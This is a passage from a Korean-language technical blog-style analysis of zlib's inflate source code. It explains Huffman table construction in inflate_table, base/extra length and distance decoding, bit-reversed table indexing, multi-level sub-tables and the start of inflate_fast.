다시 이전 코드로 돌아오겠습니다. 해당 코드에 첫 부분을 보면 have와 left가 특정 값 이상일 경우 inflate_fast 함수를 통해 고속 디코딩을 수행한다는 것을 알 수 있습니다. 위에서 분석한 inflate 함수 내에 허프만 부호화 디코딩은 state->mode를 일일히 변경해가며 복호화를 수행하기 때문에 상당히 느립니다. 반면 inflate_fast는 가상 머신과 같이 동작하지 않고 항상 버퍼를 채운 상태에서 경계 검사 수행 없이 고속 디코딩 루틴을 수행합니다. 따라서 inflate_fast 함수를 호출하기 위해서는 위 코드의 조건과 같이 충분한 데이터가 스트림에 있어야합니다.

3-2. Huffman Table

int ZLIB_INTERNAL inflate_table(codetype type, unsigned short FAR *lens,
                                unsigned codes, code FAR * FAR *table,
                                unsigned FAR *bits, unsigned short FAR *work) {

다시 한번 inflate_table 함수의 파라미터를 집고 넘어가겠습니다.

codetype type : 테이블 종류 (Code, Literal/Length, Ditance)

unsigned short FAR *lens : 허프만 부호 길이가 담긴 배열

unsigned codes : 원본 값의 개수. 즉, 테이블 요소의 개수

code FAR * FAR *table : 허프만 테이블이 기록될 포인터

unsigned FAR *bits : 허프만 테이블의 각 요소의 크기 포인터 (요소의 크기는 테이블 생성 시점에서 변경될 수 있으므로 정수가 아닌 포인터로 받음)

unsigned short FAR *work : 정렬 등을 위한 임시 배열

typedef struct {
    unsigned char op;           /* operation, extra bits, table bits */
    unsigned char bits;         /* bits in this part of the code */
    unsigned short val;         /* offset in table or code value */
} code;

/* op values as set by inflate_table():
    00000000 - literal
    0000tttt - table link, tttt != 0 is the number of table index bits
    0001eeee - length or distance, eeee is the number of extra bits
    01100000 - end of block
    01000000 - invalid code
 */

이제 code 구조체에 대해서 알아봅시다. 이전 코드에서 확인할 수 있듯이, 허프만 테이블은 이 code 구조체로 이루어진 배열이며, code 구조체에는 디코딩 방식을 결정하는 op, 허프만 부호의 길이인 bits, 원본 값이 저장된 val이라는 멤버 변수가 있습니다. 하지만 위 코드의 주석에 적혀있는 것처럼 해당 멤버 변수들은 op에 따라서 다양한 역할을 할 수 있음을 유의해야합니다.


    /* accumulate lengths for codes (assumes lens[] all in 0..MAXBITS) */
    for (len = 0; len <= MAXBITS; len++)
        count[len] = 0;
    for (sym = 0; sym < codes; sym++)
        count[lens[sym]]++;

    /* bound code lengths, force root to be within code lengths */
    root = *bits;
    for (max = MAXBITS; max >= 1; max--)
        if (count[max] != 0) break;
    if (root > max) root = max;
    if (max == 0) {                     /* no symbols to code at all */
        here.op = (unsigned char)64;    /* invalid code marker */
        here.bits = (unsigned char)1;
        here.val = (unsigned short)0;
        *(*table)++ = here;             /* make a table to force an error */
        *(*table)++ = here;
        *bits = 1;
        return 0;     /* no symbols, but wait for decoding to report error */
    }
    for (min = 1; min < max; min++)
        if (count[min] != 0) break;
    if (root < min) root = min;

    /* generate offsets into symbol table for each length for sorting */
    offs[1] = 0;
    for (len = 1; len < MAXBITS; len++)
        offs[len + 1] = offs[len] + count[len];

    /* sort symbols by length, by symbol order within each length */
    for (sym = 0; sym < codes; sym++)
        if (lens[sym] != 0) work[offs[lens[sym]]++] = (unsigned short)sym;

본격적으로 허프만 테이블 생성 과정을 살펴보겠습니다. 먼저, 각 허프만 부호 길이에 대해서 해당 길이를 사용하는 허프만 부호 갯수를 count 배열에 기록합니다.

이후 count 배열을 통해 주어진 허프만 부호 길이의 최댓값과 최솟값을 알아내고, root 값을 정합니다. root는 허프만 테이블의 각 요소 크기를 나타냅니다. root 값은 기본적으로 inflate_table 함수에 인자로 주어진 bits 값으로 설정되지만, 최댓값과 최솟값에 따라 추가로 변경될 수 있습니다. 이것이, bits 변수를 정수가 아닌 포인터로 넘겨주는 이유입니다. inflate_table 함수 내에서 root 값이 수정되면, bits 값도 변경시킴으로써 inflate 함수에서 최종 root(bits, state->lenbits, state->distbits) 값이 지정될 수 있도록 합니다.

허프만 테이블은 단순한 1차원 배열이며, table[허프만 부호] = 원본 값(실제로는 원본 값을 디코딩하기 위한 code 구조체)로 조회합니다. 즉, 테이블의 각 요소 크기를 나타내는 root 값은 실제로 해당 테이블을 통해 조회 가능한 허프만 부호의 최대 길이, 즉 테이블의 크기를 나타냅니다. root=7이라면, 테이블은 최대 table[127(0b1111111)]까지 조회 가능한 크기가 되는 것 입니다.

root 값이 max보다 클 경우, root = max가 됩니다. 허프만 부호 길이의 최댓값보다 큰 테이블 크기는 메모리만 낭비하기 때문입니다. root가 min보다 작으면 root = min이 됩니다. root가 허프만 부호 길이의 최솟값보다 작다면 어떠한 허프만 부호도 테이블에 기록할 수 없습니다.

하지만, root = min일 때, root보다 큰 길이의 허프만 부호는 어떻게 테이블에 저장할 수 있을까요? 이는 다단계 테이블 조회를 통해 구현됩니다. 이전 여러 코드에서 code 구조체에의 op 멤버 변수에 따라 여러 디코딩 로직이 존재한다는 사실을 알았을 것입니다. 이 중 하나가 바로 다단계 테이블 조회입니다.

예를 들어, 길이가 8인 허프만 부호가 10개, 길이가 9인 허프만 부호가 1개 있고, 해당 허프만 부호에 대해서 허프만 테이블을 만든다고 가정해봅시다. 길이가 9인 허프만 부호 하나 때문에, 허프만 테이블의 크기가 255(0b11111111)+1에서 511(0b111111111)+1로 늘어나야합니다. 다단계 테이블 조회 방식은 이러한 문제를 해결하기 위해 존재합니다.

먼저, 위와 같은 상황에서 허프만 테이블의 크기를 255(0b11111111)+1로 하고, 길이가 8인 허프만 부호 전체와, 길이가 9인 허프만 부호의 일부분(길이 8까지)를 기록합니다. 이때, code 구조체에 op 멤버 변수를 통해 해당 길이가 9인 허프만 부호에 대해서 다단계 테이블 조회가 필요함을 알려주고, 길이가 9인 허프만 부호에 대한 정보는 서브 테이블에 기록합니다. (이때, code 구조체에 다른 멤버 변수를 활용하여, 서브 테이블의 인덱스를 기록합니다.)

이러한 방식으로 허프만 테이블 생성과정에서 메모리를 절약할 수 있습니다. 해당 구현에 대한 더 자세한 내용은 이후 실제 코드에서 확인하도록 하겠습니다.

root 값 설정이 완료했다면, offs 배열을 만듭니다. 해당 배열은 work 배열에 원본 값을 해당 원본 값에 대한 허프만 부호 길이 순으로 정렬하기 위해 사용됩니다. 이후 최종적으로 sym 변수를 0에서 codes(원본 값의 개수)까지 순회하며, work 배열에 원본 값을 정렬합니다.

해당 work 배열은 허프만 부호 길이만으로 전체 허프만 부호를 복원하기 위해 필요한 배열입니다.

A -> 2 (00)
B -> 3 (110)
C -> 2 (01)
D -> 2 (10)
E -> 3 (111)

다음과 같은 허프만 부호들을 허프만 부호 길이를 통해 복원하려면, 같은 길이 값을 가진 원본 값을 정렬하고 차례대로 허프만 부호를 계산해야합니다.

A -> 2 (00)
C -> 2 (01)
D -> 2 (10)
B -> 3 (110)
E -> 3 (111)

work 배열은 해당 정렬을 구현하기 위한 배열이며, 이후 허프만 부호 복원 과정에서, work 배열을 순회하며 허프만 부호를 복원하게 됩니다.

    /* set up for code type */
    switch (type) {
    case CODES:
        base = extra = work;    /* dummy value--not used */
        match = 20;
        break;
    case LENS:
        base = lbase;
        extra = lext;
        match = 257;
        break;
    default:    /* DISTS */
        base = dbase;
        extra = dext;
        match = 0;
    }

이후 주어진 type 파라미터에 따라 match, base, extra 값을 설정합니다. 해당 값들은 op 멤버 변수에 따른 다양한 디코딩 로직 중 또 하나인 Base / Extra 방식에서 이용되는 값들입니다.

압축 데이터에 포함된 동적 허프만 테이블 정보에는 일반적으로 허프만 부호 길이 값으로만 이루어져있습니다. 허프만 부호 길이 값의 위치(인덱스)가 원본 값을 나타내기 때문입니다. 65('A')번째의 허프만 부호 길이가 나타내는 원본 값은 ‘A' 입니다. Literal의 경우 범위가 0~255이기 때문에 이러한 방식은 매우 효율적입니다. 하지만 LZ77의 길이, 거리 쌍의 경우는 어떨까요? Deflate 알고리즘의 명세에 따르면, 길이 값의 범위는 3 ~ 258, 거리 값의 범위는 1 ~ 32,768 입니다. 이러한 값에 대해서 Literal과 동일한 방식을 사용하기에는 무리가 있습니다. 길이, 거리 쌍에 대해서 Base / Extra 방식이 이용됩니다.

match 변수는 Base / Extra 방식을 사용하는 원본 값의 경계를 표시합니다. Literal / Length 허프만 테이블의 경우, 0~255 (Literal), 256 (End of Block) 값에 대해서는 Base / Extra 방식을 사용하지 않지만, 257~ (LZ77의 길이 값)부터는 Base / Extra 방식을 사용하기 때문에, match 값은 257이 됩니다. 반대로 Code 허프만 테이블은 Base / Extra 방식을 전혀 사용할 필요가 없기 때문에, match 값이 Code 허프만 테이블의 최대 원본 값(18) 및 End of Block(19)보다 큰 20으로 설정되어있으며, 모든 값에 대해 Base / Extra 방식을 사용하는 Distacne 허프만 테이블의 경우 match 값이 0으로 설정되어있습니다.

또한 Base / Extra 방식에서 사용되는 Base, Extra 값은 LZ77의 길이, 거리에 대해서 각각 다른 값이 이용되기 때문에 해당 배열을 설정합니다.

    /* initialize state for loop */
    huff = 0;                   /* starting code */
    sym = 0;                    /* starting code symbol */
    len = min;                  /* starting code length */
    next = *table;              /* current table to fill in */
    curr = root;                /* current table index bits */
    drop = 0;                   /* current bits to drop from code for index */
    low = (unsigned)(-1);       /* trigger new sub-table when len > root */
    used = 1U << root;          /* use root table entries */
    mask = used - 1;            /* mask for comparing low */

    /* process all codes and make table entries */
    for (;;) {
        /* create table entry */
        here.bits = (unsigned char)(len - drop);
        if (work[sym] + 1U < match) {
            here.op = (unsigned char)0;
            here.val = work[sym];
        }
        else if (work[sym] >= match) {
            here.op = (unsigned char)(extra[work[sym] - match]);
            here.val = base[work[sym] - match];
        }
        else {
            here.op = (unsigned char)(32 + 64);         /* end of block */
            here.val = 0;
        }

허프만 테이블을 생성하는 메인 루틴입니다. work 배열을 순회하면서, code 구조체를 생성합니다. 이전에도 설명한 것처럼, 원본 값 + 1이 match 값 보다 작으면, 일반적인 code 구조체를 생성합니다. 멤버 면수 op는 0이며, val에는 원본 값이 담겨있습니다. 이전 case LIT: 코드에서 확인했다시피, 디코딩 과정에서, val에 저장된 원본 값을 가져와 디코딩하게 됩니다.

이전에도 언급하였듯, 원본 값은 허프만 부호화에 대해서 디코딩된 값을 의미합니다. 위에서 설명한 케이스는 원본 값이 실제 압축 해제된 원본 값이랑 동일하지만, 아래에서 설명하는 Base / Extra에서는 원본 값은 특수한 동작을 수행하도록 하는 심볼 값을 의미하게 됩니다.

원본 값이 match 이상이라면, Base / Extra 방식의 디코딩을 수행하는 code 구조체가 만들어집니다. 이때 op 변수와 val 변수에는 각각 자신의 심볼에 해당하는 extra, base 값이 들어가게 됩니다.

            state->length = (unsigned)here.val;
            if ((int)(here.op) == 0) {
                Tracevv((stderr, here.val >= 0x20 && here.val < 0x7f ?
                        "inflate:         literal '%c'\n" :
                        "inflate:         literal 0x%02x\n", here.val));
                state->mode = LIT;
                break;
            }
            if (here.op & 32) {
                Tracevv((stderr, "inflate:         end of block\n"));
                state->back = -1;
                state->mode = TYPE;
                break;
            }
            if (here.op & 64) {
                strm->msg = (z_const char *)"invalid literal/length code";
                state->mode = BAD;
                break;
            }
            state->extra = (unsigned)(here.op) & 15;
            state->mode = LENEXT;
                /* fallthrough */
        case LENEXT:
            if (state->extra) {
                NEEDBITS(state->extra);
                state->length += BITS(state->extra);
                DROPBITS(state->extra);
                state->back += state->extra;
            }
            Tracevv((stderr, "inflate:         length %u\n", state->length));
            state->was = state->length;
            state->mode = DIST;
                /* fallthrough */

Base / Extra 방식이 무엇인지 알아내기 위해서, inflate 함수의 길이 디코딩 루틴을 확인해보겠습니다. 먼저,state->length = here.val 이와 같이 state->length에 val(base 값)을 저장합니다. 이후 op 값을 통해 code 구조체 정보를 식별하고, Literal, End of Block, Invalid Code가 아니라면 길이 디코딩 루틴으로 넘어갑니다.

op & 15 연산을 통해 op 값에 저장된 extra 값을 가져옵니다. 이후 extra 값 만큼 추가적으로 비트를 읽고 해당 값을 state->length에 더합니다.

Base / Extra 방식은 이와 같이 base + BITS(extra)를 통해 최종적으로 길이 또는 거리 값을 디코딩 합니다.

op & 15 연산이 필요한 이유는 아래 코드를 보면 알 수 있습니다. lext, dext 배열에 저장된 extra 값에는 Base / Extra에 대한 flag 값이 기본적으로 포함되어있습니다.

    static const unsigned short lbase[31] = { /* Length codes 257..285 base */
        3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31,
        35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0};
    static const unsigned short lext[31] = { /* Length codes 257..285 extra */
        16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18,
        19, 19, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 16, 73, 200};
    static const unsigned short dbase[32] = { /* Distance codes 0..29 base */
        1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193,
        257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145,
        8193, 12289, 16385, 24577, 0, 0};
    static const unsigned short dext[32] = { /* Distance codes 0..29 extra */
        16, 16, 16, 16, 17, 17, 18, 18, 19, 19, 20, 20, 21, 21, 22, 22,
        23, 23, 24, 24, 25, 25, 26, 26, 27, 27,
        28, 28, 29, 29, 64, 64};

예를 들어, 20이라는 길이를 디코딩한다고 가정해보겠습니다. 해당 20라는 길이 값에 대한 허프만 부호 길이는 huffman_table[269] 허프만 테이블 정보 269번째 인덱스에 저장될 것입니다.

here.op = extra[work[sym](269) - match](257) = extra[12] = lext[12] = 18
here.val = base[work[sym](269) - match(257)] = base[12] = lbase[12] = 19

길이 디코딩 루틴을 통해 state->length = 19 + BITS(18 & 15 (2)) 값이 디코딩 됩니다. 압축 데이터에 포한됨 허프만 테이블 정보에 01 비트를 붙여주면 성공적으로 19 + 1 = 20이 디코딩 됩니다.

이러한 Base / Extra 방식의 핵심 원리를 깨달으셨나요? 위에서 예를 들었던 길이 20을 포함하여 19 + 0b00 ~ 0b11까지의 길이는 모두 huffman_table[269] 허프만 테이블 정보 269번째 인덱스로 표현가능합니다. 실제 정확한 값에 대한 디코딩은 extra 비트 만큼의 추가 비트를 통해 이루어집니다.

위와 같은 방식으로 허프만 테이블에는 Base를 기준으로 특정 범위의 길이 또는 거리 값 정수를 그룹화하여 저장합니다.

        /* replicate for those indices with low len bits equal to huff */
        incr = 1U << (len - drop);
        fill = 1U << curr;
        min = fill;                 /* save offset to next table */
        do {
            fill -= incr;
            next[(huff >> drop) + fill] = here;
        } while (fill != 0);

        /* backwards increment the len-bit code huff */
        incr = 1U << (len - 1);
        while (huff & incr)
            incr >>= 1;
        if (incr != 0) {
            huff &= incr - 1;
            huff += incr;
        }
        else
            huff = 0;

        /* go to next symbol, update count, len */
        sym++;
        if (--(count[len]) == 0) {
            if (len == max) break;
            len = lens[work[sym]];
        }

이전 코드에서 code 구조체를 만들었습니다. 그 다음은, 해당 code 구조체를 테이블에 기록하는 것입니다. next에는 table 포인터가 담겨있습니다. 해당 테이블 배열에 code 구조체인 here을 대입하고 있습니다. 이때 drop 변수는 위에서 언급하였던 다단계 조회 테이블의 서브 테이블 생성 로직에서 사용됩니다. 기본 값은 0이며 일반 테이블 생성 로직에서는 사용되지 않습니다.

이때 while 문을 통한 반복으로, next[huff + (0, incr, incr*2, .., fill-incr)]에 해당하는 모든 테이블에 대해서 code 구조체인 here을 대입합니다. 해당 코드가 어떤 역할을 하는지 설명하기에 앞서, 잠시 중요한 사실을 하나 집고 넘어가겠습니다.

A -> 00
B -> 01
C -> 10
D -> 110
E -> 111

위와 같은 허프만 테이블을 생성한다고 가정하였을때, 각 원본 값에 대한 code 구조체는 어떻게 저장될까요?

next[0(0b00)] = here(op=0, bits=2, val='A')
next[1(0b01)] = here(op=0, bits=2, val='B')
next[2(0b10)] = here(op=0, bits=2, val='C')
next[6(0b110)] = here(op=0, bits=3, val='D')
next[7(0b111)] = here(op=0, bits=3, val='E')

이렇게 저장되는 것이 합당할 것 같습니다. 하지만 틀렸습니다. 무엇이 문제일까요?

CB라는 문자열을 압축 데이터로 만든다고 가정해보겠습니다.

0b10(C) << 0 + 0b01(B) << 2 = 0b0110

비트 스트림에 따라 다음과 같이 압축 데이터로 만들 수 있습니다. 당연한 말이지만, 단순히 2진수를 붙여 0b1001으로 만든다면, 비트 연산을 통해 순서대로 값을 가져올 수 없습니다.

CB에 대한 압축 데이터(0b0110)은 D에 대한 압축 데이터(0b110)와 동일해졌습니다.이 처럼, 위에서 주어진 허프만 부호는 접두 부호가 겹치지 않는 것처럼 보이지만, 그것은 2진수 값을 일반적인 문자열처럼 왼쪽에서 오른쪽으로 쌓았을때의 상황입니다. 실제로 비트 스트림 내에서는 앞이 아닌, 뒤가 접두 부호가 되기 때문에 문제가 발생합니다.

이러한 현상에 대한 해결 방법은 간단합니다.

next[0(0b00)] = here(op=0, bits=2, val='A')
next[2(0b10)] = here(op=0, bits=2, val='B')
next[1(0b01)] = here(op=0, bits=2, val='C')
next[3(0b011)] = here(op=0, bits=3, val='D')
next[7(0b111)] = here(op=0, bits=3, val='E')

2진수 값을 반대로 뒤집으면 됩니다. 따라서 허프만 테이블은 위와 같이, 0,1,2,6,7이 아닌, 0,2,1,3,7 순서로 저장되어야 합니다.

        /* replicate for those indices with low len bits equal to huff */
        incr = 1U << (len - drop);
        fill = 1U << curr;
        min = fill;                 /* save offset to next table */
        do {
            fill -= incr;
            next[(huff >> drop) + fill] = here;
        } while (fill != 0);

이제 다시 inflate_table 함수의 반복문 부분으로 돌아오겠습니다. 이후에 설명하겠지만, huff 변수는 0b00, 0b10, 0b01, 0b011, 0b111과 같은 허프만 부호를 담고 있는 변수입니다. 이때 next[huff] 뿐만이 아닌, next[huff + (0, incr, incr*2, .., fill-incr)]를 모두 채우고 있습니다.

fill 변수는 테이블 크기(curr = root) 만큼 쉬프트된 값이고, incr은 현재 작업중인 허프만 부호의 길이(len) 만큼 쉬프트된 값입니다. 이를 통해, 해당 연산의 의미는 다음과 같음을 알 수 있습니다.

테이블 크기(curr=root)의 값이 5, huff = 0b111 일때, 작업 중인 허프만 부호(0b111)의 길이는 3입니다.
따라서, huff + (0, incr, incr2, .., fill-incr) 연산의 결과는 다음과 같습니다.

0b00111

0b01111

0b10111

0b11111

허프만 부호인 huff와 테이블 크기 값 5에 대해서, 남은 비트를 순회하고 있습니다.
테이블 크기보다 작은 길이의 허프만 부호에 대해서, 남는 비트로 인해 남겨진 테이블들을 전부 채우는 이유는 다음과 같습니다.

next[0(0b00), 4(0b100)] = here(op=0, bits=2, val='A')
next[2(0b10), 6(0b110)] = here(op=0, bits=2, val='B')
next[1(0b01), 6(0b101)] = here(op=0, bits=2, val='C')
next[3(0b011)] = here(op=0, bits=3, val='D')
next[7(0b111)] = here(op=0, bits=3, val='E')

AC (0b0100)를 디코딩 할때, 별도로 허프만 코드 길이 확인 없이, 0b0100 & 3(테이블 크기) = 0b100, next[0b100] = here(op=0, bits=2, val='A') 이와 같이 바로 디코딩할 수 있습니다. 이후에, here.bits의 값을 통해 2 비트 드랍한 후, 같은 방법으로 C 값도 디코딩할 수 있습니다.

이전에 살펴보았던 실제 디코딩 로직을 다시한번 확인해보겠습니다.

here = state->lencode[BITS(state->lenbits)];

설명한 방법과 동일한 방식입니다. 각 허프만 부호의 길이 확인 없이 즉시, 최대 길이 만큼 비트를 읽고 디코딩합니다. while 반복문과 fill, incr 변수가 이용된 해당 루틴은 이와 같은 최적화를 위해 존재한다는 것을 알았습니다.

        /* backwards increment the len-bit code huff */
        incr = 1U << (len - 1);
        while (huff & incr)
            incr >>= 1;
        if (incr != 0) {
            huff &= incr - 1;
            huff += incr;
        }
        else
            huff = 0;

다음 코드도 간단합니다. 이전에 이미 huff 값은 허프만 부호 값 대로 증가하는 것이 아니라, 각 허프만 부호를 반전 시킨 값대로 증가해야한다는 것을 설명하였습니다.

00,01,10,110,111 -> X
00,10,01,011,111 -> O

해당 코드는 위와 같은 비트 반전 증감을 구현한 것입니다.

        /* go to next symbol, update count, len */
        sym++;
        if (--(count[len]) == 0) {
            if (len == max) break;
            len = lens[work[sym]];
        }

그 다음 코드도 명확합니다. 다음 순서의 허프만 부호 디코딩으로 넘어가기 위해 sym 값을 증가 시킵니다. 또한 작업중인 허프만 부호 길이 값(len)을 업데이트 합니다.

        /* create new sub-table if needed */
        if (len > root && (huff & mask) != low) {
            /* if first time, transition to sub-tables */
            if (drop == 0)
                drop = root;

            /* increment past last table */
            next += min;            /* here min is 1 << curr */

            /* determine length of next table */
            curr = len - drop;
            left = (int)(1 << curr);
            while (curr + drop < max) {
                left -= count[curr + drop];
                if (left <= 0) break;
                curr++;
                left <<= 1;
            }

            /* check for enough space */
            used += 1U << curr;

            /* point entry in root table to sub-table */
            low = huff & mask;
            (*table)[low].op = (unsigned char)curr;
            (*table)[low].bits = (unsigned char)root;
            (*table)[low].val = (unsigned short)(next - *table);
        }
    }

다단계 조회 테이블의 서브 테이블 생성 로직입니다. 현재 작업중인 허프만 부호 길이(len)가 테이블 크기(root)보다 크다면 다단계 조회를 위한 서브 테이블을 생성합니다.

다단계 테이블은 다음과 같이 구현됩니다. 이전에 만들었던 예시 허프만 테이블로 설명하겠습니다.

next[0(0b00), 4(0b100)] = here(op=0, bits=2, val='A')
next[2(0b10), 6(0b110)] = here(op=0, bits=2, val='B')
next[1(0b01), 5(0b101)] = here(op=0, bits=2, val='C')
next[3(0b011)] = here(op=0, bits=3, val='D')
next[7(0b111)] = here(op=0, bits=3, val='E')

위와 같은 테이블의 크기(root)는 3입니다. 이전과 달리 root가 2라고 가정하여, 길이가 3인 허프만 부호에 대한 다단계 조회 테이블 생성 로직을 설명하겠습니다.

state->lenbits의 기본 값으로 인해, root가 2면서, 다단계 조회 테이블인 허프만 테이블은 실제로 생성될 수 없습니다. 하지만 복잡하지 않도록 짧은 길이를 예시로 들도록 하겠습니다.

next[0(0b00)] = here(op=0, bits=2, val='A')
next[2(0b10)] = here(op=0, bits=2, val='B')
next[1(0b01)] = here(op=0, bits=2, val='C')

길이가 2인 허프만 부호는 이전과 크게 다르지 않습니다. 다른 점은, root 값이 2이기 때문에 테이블에는 길이가 2이하인 허프만 부호만 기록됩니다.

            if (drop == 0)
                drop = root;

            /* increment past last table */
            next += min;            /* here min is 1 << curr */

다시 서브 테이블 생성 로직으로 돌아오겠습니다. 먼저, drop 비트를 설정합니다. 이전 코드에서 알 수 있듯, huff 값에서 drop 비트 만큼 버리게 됩니다. 또한 테이블 포인터에 대해서 next += 1 << curr 연산을 하게됩니다. 테이블의 포인터를 기존 테이블의 끝으로 옮기는 연산입니다.

이것으로 서브 테이블이 준비되었습니다. 테이블 포인터를 끝으로 밀어냄으로써, 이제 next는 기존 테이블이 아닌 서브 테이블의 포인터가 되었습니다. 또한 drop 변수로 인해 앞으로의 huff 값은 기존 테이블 크기(root)만큼 버려지며, 테이블 크기를 넘어가는 비트만 기록됩니다.

이제 자연스럽게 이후 for(;;)문에 의한 반복에 의해서 서브 테이블에 code 구조체가 기록됩니다.

next += 1 << curr
next[0(0b011 >> 2)] = here(op=0, bits=1 (3-2), val='D')
next[1(0b111 >> 2)] = here(op=0, bits=1 (3-2), val='E')

다음과 같습니다. code 구조체 생성 코드의 here.bits = (unsigned char)(len - drop);에 의해 here.bits 값도 drop(root)만큼 감소합니다.

            /* point entry in root table to sub-table */
            low = huff & mask;
            (*table)[low].op = (unsigned char)curr;
            (*table)[low].bits = (unsigned char)root;
            (*table)[low].val = (unsigned short)(next - *table);

이제 기존 테이블에 서브 테이블 정보를 담고 있는 code 구조체를 기록하는 부분을 살펴보겠습니다. low 변수는 drop에 의해 지워지는 허프만 부호 값입니다. 해당 값에 대해서 기존 테이블에 서브 테이블로 향하는 엔트리를 기록합니다. 최종적으로 다음과 같이 다단계 조회 허프만 테이블이 완성됩니다.

next[0(0b00)] = here(op=0, bits=2, val='A')
next[2(0b10)] = here(op=0, bits=2, val='B')
next[1(0b01)] = here(op=0, bits=2, val='C')

next[3(0b011 & mask( (1 << 2) - 1) )] = here(op=2, bits=2, val=4)

next += 1 << curr
next[0(0b011 >> 2)] = here(op=0, bits=1 (3-2), val='D')
next[1(0b111 >> 2)] = here(op=0, bits=1 (3-2), val='E')

다단계 조회 테이블의 디코딩 원리는 간단합니다. E를 디코딩한다고 가정하겠습니다. 당연하게도 1차 테이블 조회는 다음과 같이 0b011 & mask = 0b11에 대해서 이루어집니다. here(op=2, bits=2, val=4) 값을 얻고, 2(bits)만큼 비트를 소모합니다. op를 통해 해당 code 구조체가 서브 테이블 엔트리임을 확인하고, next += 4(here.val)를 통해 서브 테이블에 접근합니다. 이후 해당 서브 테이블에서 다음 비트 0b1을 조회하여, here(op=0, bits=1 (3-2), val='E') 값에 접근합니다. 마찬가지로 1(bits) 값 만큼 비트를 소모하고, 최종적으로 'E(val)' 값을 디코딩합니다. 길이가 3인 허프만 부호에 대해서 3개의 비트를 읽고 소모 한 후 성공적으로 원본 값을 디코딩하였습니다.

    /* fill in remaining table entry if code is incomplete (guaranteed to have
       at most one remaining entry, since if the code is incomplete, the
       maximum code length that was allowed to get this far is one bit) */
    if (huff != 0) {
        here.op = (unsigned char)64;            /* invalid code marker */
        here.bits = (unsigned char)(len - drop);
        here.val = (unsigned short)0;
        next[huff] = here;
    }

    /* set return parameters */
    *table += used;
    *bits = root;
    return 0;

다음 코드에서는, 남은 허프만 부호에 대해서 invalid code를 할당하고 bits 값을 재설정한 후 반환됩니다.

3-3. Decode

void ZLIB_INTERNAL inflate_fast(z_streamp strm, unsigned start) {
    struct inflate_state FAR *state;
    z_const unsigned char FAR *in;      /* local strm->next_in */
    z_const unsigned char FAR *last;    /* have enough input while in < last */
    unsigned char FAR *out;     /* local strm->next_out */
    unsigned char FAR *beg;     /* inflate()'s initial strm->next_out */
    unsigned char FAR *end;     /* while out < end, enough space available */
#ifdef INFLATE_STRICT
    unsigned dmax;              /* maximum distance from zlib header */
#endif
    unsigned wsize;             /* window size or zero if not using window */
    unsigned whave;             /* valid bytes in the window */
    unsigned wnext;             /* window write index */
    unsigned char FAR *window;  /* allocated sliding window, if wsize != 0 */
    unsigned long hold;         /* local strm->hold */
    unsigned bits;              /* local strm->bits */
    code const FAR *lcode;      /* local strm->lencode */
    code const FAR *dcode;      /* local strm->distcode */
    unsigned lmask;             /* mask for first level of length codes */
    unsigned dmask;             /* mask for first level of distance codes */
    code const *here;           /* retrieved table entry */
    unsigned op;                /* code bits, operation, extra bits, or */
                                /*  window position, window bytes to copy */
    unsigned len;               /* match length, unused bytes */
    unsigned dist;              /* match distance */
    unsigned char FAR *from;    /* where to copy match from */

    /* copy state to local variables */
    state = (struct inflate_state FAR *)strm->state;
    in = strm->next_in;
    last = in + (strm->avail_in - 5);
    out = strm->next_out;
    beg = out - (start - strm->avail_out);
    end = out + (strm->avail_out - 257);
#ifdef INFLATE_STRICT
    dmax = state->dmax;
#endif
    wsize = state->wsize;
    whave = state->whave;
    wnext = state->wnext;
    window = state->window;
    hold = state->hold;
    bits = state->bits;
    lcode = state->lencode;
    dcode = state->distcode;
    lmask = (1U << state->lenbits) - 1;
    dmask = (1U << state->distbits) - 1;

inflate_fast 함수의 디코딩 과정을 분석할 차례입니다.

    do {
        if (bits < 15) {
            hold += (unsigned long)(*in++) << bits;
            bits += 8;
            hold += (unsigned long)(*in++) << bits;
            bits += 8;
        }
.....
.....
.....
    } while (in < last && out < end);

inflate_fast 호출 조건을 만족하지 않을때까지 반복문을 통해 고속 디코딩 루틴을 수행합니다. 이때, 가장 먼저 이루어지는 일은 hold 버퍼 내에 값이 15비트 미만이면 16비트를 채워넣습니다. 이러한 루틴은 hold 버퍼에 미리 비트를 채워넣음으로써 고속 디코딩 과정에서 오버헤드를 줄이기 위함입니다.

        here = lcode + (hold & lmask);
      dolen:
        op = (unsigned)(here->bits);
        hold >>= op;
        bits -= op;
        op = (unsigned)(here->op);
        if (op == 0) {                          /* literal */
            Tracevv((stderr, here->val >= 0x20 && here->val < 0x7f ?
                    "inflate:         literal '%c'\n" :
                    "inflate:         literal 0x%02x\n", here->val));
            *out++ = (unsigned char)(here->val);
        }
        else if (op & 16) {                     /* length base */
            len = (unsigned)(here->val);
            op &= 15;                           /* number of extra bits */
            if (op) {
                if (bits < op) {
                    hold += (unsigned long)(*in++) << bits;
                    bits += 8;
                }
                len += (unsigned)hold & ((1U << op) - 1);
                hold >>= op;
                bits -= op;
            }
            Tracevv((stderr, "inflate:         length %u\n", len));
            if (bits < 15) {
                hold += (unsigned long)(*in++) << bits;
                bits += 8;
                hold += (unsigned long)(*in++) << bits;
                bits += 8;
            }

디코딩 로직 자체는 inflate.c의 구현과 동일합니다. Literal / Length 허프만 부호 테이블인 lcode에서 code 구조체를 가져옵니다. 이후 op값에 따라 Literal 또는 Length로 디코딩합니다. Literal 디코딩의 경우 다시 반복문의 처음으로 돌아가서 다음 허프만 부호를 디코딩하지만, Length 디코딩의 경우, 디코딩 이후 Distance를 디코딩해야합니다. 따라서 다시 버퍼를 16바이트 채워놓습니다.

            here = dcode + (hold & dmask);
          dodist:
            op = (unsigned)(here->bits);
            hold >>= op;
            bits -= op;
            op = (unsigned)(here->op);
            if (op & 16) {                      /* distance base */
                dist = (unsigned)(here->val);
                op &= 15;                       /* number of extra bits */
                if (bits < op) {
                    hold += (unsigned long)(*in++) << bits;
                    bits += 8;
                    if (bits < op) {
                        hold += (unsigned long)(*in++) << bits;
                        bits += 8;
                    }
                }
                dist += (unsigned)hold & ((1U << op) - 1);
#ifdef INFLATE_STRICT
                if (dist > dmax) {
                    strm->msg = (z_const char *)"invalid distance too far back";
                    state->mode = BAD;
                    break;
                }
#endif
                hold >>= op;
                bits -= op;
                Tracevv((stderr, "inflate:         distance %u\n", dist));

